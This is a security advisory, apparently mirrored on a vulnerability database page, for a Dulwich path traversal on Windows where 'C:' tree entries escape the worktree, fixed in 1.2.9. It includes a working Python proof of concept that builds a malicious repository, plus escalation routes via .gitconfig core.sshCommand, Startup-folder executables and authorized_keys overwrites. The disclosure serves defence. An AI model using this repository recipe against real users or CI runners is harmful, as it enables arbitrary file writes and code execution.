Dulwich: Arbitrary File Write (RCE) on Windows via Unvalidated Drive Letters in Tree Paths
Affected files
dulwich/index.py(Methods:validate_path_element_ntfs,_tree_to_fs_path)dulwich/porcelain/__init__.py(Method:_checked_worktree_path)
Description / Summary
A High-severity Path Traversal vulnerability exists in Dulwich's checkout logic when running on Windows. The functions responsible for validating NTFS paths strictly reject .git variants, Alternate Data Streams (ADS), git~1 short names, and reserved device names, but they completely fail to check for DOS drive letter prefixes.
A malicious Git tree can contain an entry named C:. When Dulwich processes this tree on a Windows client, the string passes the validate_path_element_ntfs check. Later, _tree_to_fs_path passes this path to os.path.join(root, b"C:\\\\Users\\\\...").
On Windows, if the second argument to os.path.join contains an absolute drive letter, the root path is completely discarded. As a result, Dulwich writes the repository file to the absolute path outside of the intended Git worktree.
While the standard C git client explicitly blocks this via has_dos_drive_prefix() in path.c, Dulwich lacks this protection. Because Git trees are cross-platform, an attacker can author a malicious repository on Linux and wait for a Windows victim (or CI runner) to clone it.
Potential impact
This vulnerability allows an attacker to achieve Arbitrary File Write, which can trivially be escalated to Remote Code Execution (RCE) or total system compromise on the victim's Windows machine.
Attack vectors include:
- Git Config Poisoning (RCE): Writing a malicious
C:\\Users\\<victim>\\.gitconfigfile to setcore.sshCommandto an arbitrary executable, granting RCE the next time the user interacts with Git. - Persistence (RCE): Dropping a malicious executable into
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\. - SSH Key Overwrite: Writing to
C:\\Users\\<victim>\\.ssh\\authorized_keysto compromise remote servers accessible by the victim. - CI/CD Compromise: If a Windows-based CI/CD runner (e.g., GitHub Actions) automatically clones a malicious pull request, the runner is instantly compromised, potentially leaking repository secrets.
Proof of Concept (PoC)
The following Python script (runnable on Linux) generates a malicious Git repository containing a payload that targets Windows clients.
from dulwich.objects import Blob, Tree, Commit
from dulwich.repo import Repo
import os, tempfile
repo_path = tempfile.mkdtemp()
repo = Repo.init(repo_path)
# 1. Build the payload blob.
blob = Blob(); blob.data = b"pwned-by-drive-letter\\n"
repo.object_store.add_object(blob)
# 2. Build the malicious tree hierarchy: C:/Users/victim/evil.txt
evil_txt = Tree(); evil_txt[b"evil.txt"] = (0o100644, blob.id)
repo.object_store.add_object(evil_txt)
victim_dir = Tree(); victim_dir[b"victim"] = (0o040000, evil_txt.id)
repo.object_store.add_object(victim_dir)
users_dir = Tree(); users_dir[b"Users"] = (0o040000, victim_dir.id)
repo.object_store.add_object(users_dir)
# VULNERABILITY: The "C:" directory bypasses validation
c_drive = Tree(); c_drive[b"C:"] = (0o040000, users_dir.id)
repo.object_store.add_object(c_drive)
commit = Commit()
commit.tree = c_drive.id
commit.message = b"add feature"
commit.author = commit.committer = b"attacker <a@evil.example>"
commit.author_time = commit.commit_time = 1700000000
commit.author_timezone = commit.committer_timezone = 0
repo.object_store.add_object(commit)
repo.refs[b"refs/heads/main"] = commit.id
print(f"Malicious repo created at {repo_path}")
print(f"Clone with: dulwich clone {repo_path} /target/win/worktree")
# Result: A Windows checkout of this commit writes the payload directly to C:\\Users\\victim\\evil.txtSoftware afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | dulwich | < 1.2.9 | 1.2.9 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-22- Plataforma
- Python (PyPI)
- Paquete
dulwich- Publicada
- 02.10.2026
- Actualizado
- 21.10.2026 14:17
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-8mcx-5rqc-vhmf - CC BY 4.0
Historial de vulnerabilidades: dulwich
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 13
- Primera → última
- 03.2015 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 3
- Alta 7
- Media 2
- Baja 1
Divulgaciones por año
- 2017: 1
- 2018: 0
- 2019: 0
- 2020: 0
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 10
antes: 2
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